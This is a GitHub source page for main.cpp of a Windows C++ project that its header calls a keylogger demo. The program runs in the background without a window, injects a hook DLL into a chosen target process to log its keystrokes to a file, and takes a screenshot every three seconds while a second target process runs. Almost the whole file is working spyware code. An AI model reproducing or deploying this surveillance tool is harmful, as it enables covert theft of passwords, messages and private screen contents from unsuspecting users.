-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
executable file
·177 lines (141 loc) · 5.12 KB
/
Copy pathmain.cpp
File metadata and controls
executable file
·177 lines (141 loc) · 5.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
/**@file main.cpp
*
* This is part of keylogger, demo project to hook key event of a process
* and do periodic screenshot of screen.
*
* @author Oky Firmansyah <mail@okyfirmansyah.net>.
*
* @date Created : Apr 03, 2017 okyfirmansyah
*/
#include <tchar.h>
#include <windows.h>
#include <winbase.h>
#include <string>
#include <thread>
#include <atomic>
#include "log.h"
#include "util.h"
using namespace std;
#if defined(UNICODE) && !defined(_UNICODE)
#define _UNICODE
#elif defined(_UNICODE) && !defined(UNICODE)
#define UNICODE
#endif
/// hardcoded for now
static const char* dllName="keyloggerDll.dll";
static const char* targetKeyLogFile="C:\\src\\keydump.txt";
static const char* targetScrShotPath="C:\\src\\";
static const char* targetLogFile="log.txt";
/** get parameter arguments, if number of parameter is less than 1, return false
* parameter 1 will be keyLogProc, parameter 2 will be scrShotProc.
* If there is no parameter 2, then scrShotProc will take parameter 1.
*/
bool getProcessNameArgs(LPSTR lpszArgument, string& keyLogProc, string& scrShotProc)
{
keyLogProc="";
scrShotProc="";
while((lpszArgument[0]!='\0')&&(lpszArgument[0]!=' '))
{
keyLogProc+=*lpszArgument++;
}
//skip space
while(lpszArgument[0]==' ')lpszArgument++;
while((lpszArgument[0]!='\0')&&(lpszArgument[0]!=' '))
{
scrShotProc+=*lpszArgument++;
}
if(keyLogProc.length()==0)return false;
if(scrShotProc.length()==0)scrShotProc=keyLogProc;
return true;
}
/** Main thread routine for handling keylogging process
*/
void waitForKeyLogProc(const string &procName)
{
logInfo("Waiting for keylog target process: ", procName,"...");
while(!findFirstProcess(procName,[](PROCESSENTRY32*entry)
{
HWND hwnd=getHwndFromProcessId(entry->th32ProcessID);
if(hwnd)
{
DWORD threadId=GetWindowThreadProcessId(
hwnd,NULL);
// inject thread Id here
HINSTANCE hinst = LoadLibrary(dllName);
if (hinst) {
typedef void (*Install)(unsigned long, const char*);
Install install = (Install) GetProcAddress(hinst, "install");
install(threadId, targetKeyLogFile);
logInfo("Keylog target process is found and injected..");
atomic<bool> already_dead(false);
// mini watcher subthread(communicate via alread_dead flag)
std::thread watcher([&already_dead, &entry](void)
{
while(already_dead==false)
{
DWORD exitCode;
HANDLE hnd=OpenProcess(PROCESS_QUERY_INFORMATION , TRUE, entry->th32ProcessID);
GetExitCodeProcess(hnd,&exitCode);
if(exitCode!=STILL_ACTIVE)
already_dead=true;
else
Sleep(500);
}
});
// lets sit down and relax waiting for
// target process to terminate..
while(!already_dead)
Sleep(1);
watcher.join();
logInfo("Target keylogging process is already terminated, ending keylogging..");
}else
logError("Unable to load DLL library!");
}
})) Sleep(1000);
}
/** Main thread routine for handling screenshot process routine
*/
void waitForScrShotProc(const string &procName)
{
logInfo("Waiting for screenshot target process: ", procName,"...");
while(!findFirstProcess(procName))
Sleep(1000);
logInfo("Target screenshot process found, begin taking screenshots...");
// taking screenshot here
while(findFirstProcess(procName))
{
if(takeScreenShot(targetScrShotPath))
logInfo("Screenshot taken!");
else
logError("Failed to take screenshot!");
//yeah, this is not accurate 3s period because
//saving time overhead is not take into account(can use std::chrono in future)
Sleep(3000);
}
logInfo("target screenshot process terminated, stop taking screenshots");
}
/** Main entry.
* This is windows-styled main entry but no actual windows handling, so to
* make it active only in backround
*/
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nCmdShow)
{
logInit(targetLogFile);
logInfo("KeyLogger Alpha v0.0.1 started...");
string keyLogProc;
string scrShotProc;
if(!getProcessNameArgs(lpszArgument, keyLogProc, scrShotProc))
{
logError("Insufficient argument supplied, halting..");
return 1;
}
std::thread t1(waitForKeyLogProc, keyLogProc);
std::thread t2(waitForScrShotProc, scrShotProc);
t1.join();
t2.join();
logInfo("KeyLogger terminated.");
return 0;
}